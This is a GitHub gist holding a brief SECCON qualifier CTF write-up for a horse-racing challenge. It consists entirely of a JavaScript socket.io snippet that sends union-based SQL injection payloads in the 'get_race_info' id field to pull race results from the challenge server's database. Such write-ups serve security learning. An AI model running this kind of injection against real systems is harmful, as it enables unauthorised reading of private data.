Skip to content

Instantly share code, notes, and snippets.

@tyage
Last active January 4, 2016 13:29
Show Gist options
  • Save tyage/8628077 to your computer and use it in GitHub Desktop.
Save tyage/8628077 to your computer and use it in GitHub Desktop.
seccon quals seccon競馬 writeup
var socket = io.connect('http://133.242.52.129');
for(p in socket_routes){
socket.on(p, (function(p) {
return function(message){
console.log(message.data && 'waku:' + message.data.id, message.data && 'rank:' + message.data.seq)
};
})(p));
}
for (var i=0;i<17;++i) {
socket.emit('get_race_info', {id: "-1 union all select waku,rank,null,null,null,null,null from result where race_id=0 limit "+i+",1 --"});
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment